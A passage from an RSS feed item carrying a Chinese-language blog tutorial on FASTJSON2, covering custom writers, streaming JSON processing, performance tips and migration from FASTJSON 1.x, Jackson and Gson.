write(JSONWriter writer, Object object,<br>Object fieldName, Type fieldType, long features) {<br>User user = (User) object;<br>writer.startObject();<br>writer.writeName(“id”);<br>writer.writeInt64(user.getId());<br>writer.writeName(“name”);<br>writer.writeString(user.getName());<br>// 自定义逻辑<br>writer.writeName(“displayName”);<br>writer.writeString(user.getName().toUpperCase());<br>writer.endObject();<br>}<br>}</p><p>// 2. 注册自定义 Writer<br>JSON.register(User.class, new UserWriter());</p><p>// 3. 使用<br>String json = JSON.toJSONString(user);</p><p>10.6 流式处理</p><p>// 1. 流式读取大文件<br>try (InputStream is = new FileInputStream(“large.json”);<br>JSONReader reader = JSONReader.of(is)) {</p><pre><code>  while (reader.isArray()) &#123;      User user = reader.read(User.class);      // 处理每个对象      processUser(user);  &#125;</code></pre><p>}</p><p>// 2. 流式写入<br>try (OutputStream os = new FileOutputStream(“output.json”);<br>JSONWriter writer = JSONWriter.of(os)) {</p><pre><code>  writer.startArray();  for (User user : users) &#123;      writer.write(user);  &#125;  writer.endArray();</code></pre><p>}</p><hr><ol start="11"><li>性能优化技巧</li></ol><p>11.1 选择最优输入格式</p><p>// ✗ 慢：使用 String<br>String json = “{…}”;<br>User user = JSON.parseObject(json, User.class);</p><p>// ✓ 快：使用 byte[]（提升 ~5%）<br>byte[] bytes = json.getBytes(StandardCharsets.UTF_8);<br>User user = JSON.parseObject(bytes, User.class);</p><p>// ✓ 最快：使用 JSONB（提升 ~77%）<br>byte[] jsonb = JSONB.toBytes(user);<br>User user2 = JSONB.parseObject(jsonb, User.class);</p><p>11.2 缓存优化</p><p>// ✗ 慢：每次都创建 JSONPath<br>public int getUserId(String json) {<br>return (int) JSONPath.of(“$.user.id”).eval(json);<br>}</p><p>// ✓ 快：缓存 JSONPath（提升 ~50%）<br>private static final JSONPath USER_ID_PATH = JSONPath.of(“$.user.id”);</p><p>public int getUserId(String json) {<br>return (int) USER_ID_PATH.eval(json);<br>}</p><p>11.3 使用紧凑格式</p><p>// ✗ 大：标准 JSON<br>String json = JSON.toJSONString(user);<br>// {“id”:1,“name”:“John”,“age”:25}  (35 字节)</p><p>// ✓ 小：BeanToArray（节省 ~30%）<br>String compact = JSON.toJSONString(user,<br>JSONWriter.Feature.BeanToArray);<br>// [1,“John”,25]  (15 字节)</p><p>// ✓ 最小：JSONB + BeanToArray（节省 ~50%）<br>byte[] jsonb = JSONB.toBytes(user,<br>JSONWriter.Feature.BeanToArray);<br>// 二进制格式，最紧凑</p><p>11.4 避免不必要的 Feature</p><p>// ✗ 慢：使用不必要的 Feature<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.PrettyFormat,  // 格式化（慢）<br>JSONWriter.Feature.WriteNulls,    // 输出 null（增加体积）<br>JSONWriter.Feature.ReferenceDetection);  // 循环引用检测（慢）</p><p>// ✓ 快：只使用必要的 Feature<br>String json = JSON.toJSONString(user);</p><p>11.5 批量处理优化</p><p>// ✗ 慢：逐个处理<br>for (String json : jsonList) {<br>User user = JSON.parseObject(json, User.class);<br>process(user);<br>}</p><p>// ✓ 快：批量处理<br>List<User> users = jsonList.stream()<br>.map(json -&gt; JSON.parseObject(json, User.class))<br>.collect(Collectors.toList());<br>users.forEach(this::process);</p><p>// ✓ 更快：并行处理（多核 CPU）<br>List<User> users = jsonList.parallelStream()<br>.map(json -&gt; JSON.parseObject(json, User.class))<br>.collect(Collectors.toList());</p><p>11.6 使用 GraalVM</p><h1>使用 GraalVM JDK（性能提升 8-37%）</h1><p>export JAVA_HOME=/path/to/graalvm<br>java -jar app.jar</p><hr><ol start="12"><li>从其他库迁移指南</li></ol><p>12.1 从 FASTJSON 1.x 迁移</p><p>依赖替换</p>  <!-- 移除 FASTJSON 1.x -->  <dependency>      <groupId>com.alibaba</groupId>      <artifactId>fastjson</artifactId>      <version>1.2.83</version>  </dependency>  <!-- 添加 FASTJSON 2.x -->  <dependency>      <groupId>com.alibaba.fastjson2</groupId>      <artifactId>fastjson2</artifactId>      <version>2.0.61</version>  </dependency><p>包名替换</p><p>// 1.x<br>import com.alibaba.fastjson.JSON;<br>import com.alibaba.fastjson.JSONObject;</p><p>// 2.x<br>import com.alibaba.fastjson2.JSON;<br>import com.alibaba.fastjson2.JSONObject;</p><p>API 变化</p><p>// 大部分 API 兼容，直接替换包名即可<br>User user = JSON.parseObject(json, User.class);<br>String text = JSON.toJSONString(user);</p><p>// Feature 名称变化<br>// 1.x: Feature.DisableCircularReferenceDetect<br>// 2.x: 默认关闭循环引用检测，需要时使用 ReferenceDetection</p><p>// 1.x: SerializerFeature.WriteMapNullValue<br>// 2.x: JSONWriter.Feature.WriteNulls</p><p>12.2 从 Jackson 迁移</p><p>// Jackson<br>ObjectMapper mapper = new ObjectMapper();<br>User user = mapper.readValue(json, User.class);<br>String text = mapper.writeValueAsString(user);</p><p>// FASTJSON2<br>User user = JSON.parseObject(json, User.class);<br>String text = JSON.toJSONString(user);</p><p>// Jackson 注解 → FASTJSON2 注解<br>// @JsonProperty(“user_name”) → @JSONField(name = “user_name”)<br>// @JsonIgnore → @JSONField(serialize = false, deserialize = false)<br>// @JsonFormat(pattern = “yyyy-MM-dd”) → @JSONField(format = “yyyy-MM-dd”)</p><p>12.3 从 Gson 迁移</p><p>// Gson<br>Gson gson = new Gson();<br>User user = gson.fromJson(json, User.class);<br>String text = gson.toJson(user);</p><p>// FASTJSON2<br>User user = JSON.parseObject(json, User.class);<br>String text = JSON.toJSONString(user);</p><p>// Gson</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/github/">github</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/%E9%A1%B9%E7%9B%AE/">项目</category>
      
      
      <comments>https://blog.tokenlen.top/2026/02/11/message/project/fastjson2/#disqus_thread</comments>
      
    </item>
    
  </channel>
</rss>
